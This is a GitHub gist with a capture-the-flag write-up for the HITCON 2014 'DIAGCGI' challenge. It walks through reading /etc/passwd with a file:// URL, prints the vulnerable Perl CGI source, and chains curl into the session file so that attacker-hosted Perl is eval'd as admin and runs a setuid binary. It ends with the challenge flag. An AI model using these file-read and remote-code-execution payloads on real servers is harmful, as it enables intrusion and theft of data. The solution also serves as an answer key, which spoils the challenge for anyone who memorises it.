Skip to content

Instantly share code, notes, and snippets.

@noncetonic
Created August 18, 2014 04:46
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save noncetonic/f90a01c09601c600a332 to your computer and use it in GitHub Desktop.
Save noncetonic/f90a01c09601c600a332 to your computer and use it in GitHub Desktop.
HITCON 2014 DIAGCGI Writeup
#DIAGCGI
##Arbitrary File Read
```file:///etc/passwd``` and use curl function shows us
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
key:x:1001:1001::/home/key:
```
##Command Execution
Default location for cgi-bin on Ubuntu (gained by reading ```/etc/issue```) is ```/usr/lib/cgi-bin```; as such we can read ```/usr/lib/cgi-bin/dana-na.cgi``` and get the following:
```
#!/usr/bin/perl -w
use CGI;
use Digest::MD5 qw(md5_hex);
$cgi = new CGI;
$SESSDIR = "/tmp/";
$sessfile = $cgi->cookie("diagsess");
$arg0 = $cgi->param("arg");
$action = $cgi->param("action");
$arg = &safestr($arg0);
if (! defined($sessfile) )
{
if ( md5_hex($cgi->param("sechash")) =~ /^000000000000.*$/)
{
$sesshash{'user'} = 'admin';
}
else
{
$sesshash{'user'} = 'guest';
}
$sesshash{'ip'} = &get_ip;
$diagsess = md5_hex( $sesshash{'user'} . '|||' . $sesshash{'ip'} );
$cookie = "diagsess=$diagsess;";
&write_session;
print $cgi->header(-cookie => $cookie,
-expires => 'Mon, 01 Jan 1999 00:00:00 GMT',
-'cache-control' => 'no-cache',
-pragma => 'no-cache',-'location'=> 'dana-na.cgi?sechash=' );
exit 0;
}
else
{
print $cgi->header();
&read_session;
&print_menu;
}
if (defined ($action) && length($action)>0)
{
if ($action =~ /^print_session$/)
{
&print_session;
exit 0;
}
if ($action =~ /^curl$/)
{
&curl($arg);
exit 0;
}
if ($action =~ /^ping$/ )
{
&ping($arg);
exit 0;
}
if ($action =~ /^traceroute$/)
{
&traceroute ($arg);
exit 0;
}
if ($action =~ /^shell$/)
{
&shell($arg);
exit 0;
}
}
sub curl
{
$host = shift;
print "<pre><textarea rows=24 cols=80>";
if (defined($host) && length($host)>1)
{
open(GG,"/usr/bin/curl -s $host |") and do
{
while(<GG>)
{
print;
}
}
}
}
sub ping
{
my $host = shift;
print "<pre>";
if(defined($host) && length($host)>1)
{
open(GG,"/bin/ping -c3 $host |") and do
{
while(<GG>)
{
print;
}
};
close GG;
}
}
sub traceroute
{
my $host = shift;
print "<pre>";
if(defined($host) && length($host)>1)
{
open(GG,"/usr/sbin/traceroute -d -n -w 5 $host |") and do
{
while(<GG>)
{
print;
}
};
close GG;
}
}
sub read_session
{
undef %sesshash;
if(! -f "$SESSDIR/$sessfile")
{
print "session error!";
return;
}
open(GG, "$SESSDIR/$sessfile") and do {
while (<GG>) {
eval($_);
}
close GG;
};
}
sub write_session
{
open(GG, ">$SESSDIR/$diagsess") and do
{
foreach (sort keys %sesshash)
{
print GG "\$sesshash{'$_'} = '$sesshash{$_}';\n";
}
};
close GG;
}
sub print_session
{
foreach (sort keys %sesshash) {
print "$_=$sesshash{$_}\n";
}
}
sub shell
{
$cmd = shift;
print "<pre>";
if ( $sesshash{'user'} eq 'admin' )
{
open(GG, "$cmd |") and do
{
print;
};
}
else
{
print "sorry $sesshash{'user'}! you're not admin!\n";
}
}
sub print_menu
{
$arg0 =~ s/\</\<\;/g;
open(GG,"cat menu.html |") and do
{
while(<GG>)
{
$_ =~ s/\%\%arg\%\%/$arg0/g;
print $_;
}
close GG;
};
}
sub get_ip
{
$h1 = $ENV{'REMOTE_ADDR'};
$h2 = $ENV{'HTTP_CLIENT_IP'};
$h3 = $ENV{'HTTP_X_FORWARDED_FOR'};
if (length($h3)>0)
{
return $h3;
}
elsif (length($h2)>0)
{
return $h2;
}
else
{
return $h1;
}
return "UNKNOWN";
}
sub safestr
{
my $str = shift;
$str =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;;
return $str;
}
```
```read_session``` function evaluates everything in the session file and as we know our cookie, we can read our session file in ```/tmp/<cookie>``` . Additionally we know it's possible to create/override files using curl's -o output flag and pointing it to our session file. Using similar techniques to the full solution we can run the ```ls``` command on the server root and see the following:
```
total 988K
drwxr-xr-x 22 root root 4.0K Aug 13 16:29 .
drwxr-xr-x 22 root root 4.0K Aug 13 16:29 ..
drwxr-xr-x 2 root root 4.0K Jul 27 11:15 bin
drwxr-xr-x 3 root root 4.0K Jul 27 11:16 boot
drwxr-xr-x 13 root root 3.9K Aug 13 16:29 dev
drwxr-xr-x 90 root root 4.0K Aug 13 16:29 etc
drwxr-xr-x 3 root root 4.0K Jul 27 05:17 home
lrwxrwxrwx 1 root root 33 Jun 7 10:50 initrd.img -> boot/initrd.img-3.13.0-29-generic
-r-------- 1 key www-data 41 Jul 28 08:37 key.txt
drwxr-xr-x 21 root root 4.0K Jul 28 08:35 lib
drwxr-xr-x 2 root root 4.0K Aug 13 16:29 lib64
drwx------ 2 root root 16K Jun 7 10:51 lost+found
drwxr-xr-x 2 root root 4.0K Jun 7 10:49 media
drwxr-xr-x 2 root root 4.0K Apr 10 22:12 mnt
drwxr-xr-x 2 root root 4.0K Jun 7 10:49 opt
dr-xr-xr-x 155 root root 0 Aug 13 16:29 proc
-r-sr-x--- 1 key www-data 858K Jul 28 08:39 read_key
drwx------ 4 root root 4.0K Aug 16 11:37 root
drwxr-xr-x 19 root root 680 Aug 17 00:20 run
drwxr-xr-x 2 root root 12K Aug 13 16:29 sbin
drwxr-xr-x 2 root root 4.0K Jun 7 10:49 srv
dr-xr-xr-x 13 root root 0 Aug 13 16:29 sys
drwxrwxrwt 2 root root 36K Aug 17 00:33 tmp
drwxr-xr-x 10 root root 4.0K Jun 7 10:49 usr
drwxr-xr-x 13 root root 4.0K Jul 27 11:18 var
lrwxrwxrwx 1 root root 30 Jun 7 10:50 vmlinuz -> boot/vmlinuz-3.13.0-29-generic
```
```key.txt``` doesn't have read permissions for us but the ```read_key``` binary is setuid and we can assume this is how the organizers want us to read the keyfile. In most of these instances where you need to run a binary to read a file they expect the file to be read as an argument.
Leveraging these bits of information we write the following in to a webserver we control
```
$sesshash{'ip'} = 'YOUR.IP.GOES.HERE';
$sesshash{'user'} = 'admin';
system("/read_key /key.txt >>/tmp/test.txt");
```
Then we simply curl that into our session file, reload the page to have our session read and then read /tmp/test.txt and to get our key
##The Key
```HITCON{a755be06b165ed8fc4710d3544fce942}```
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment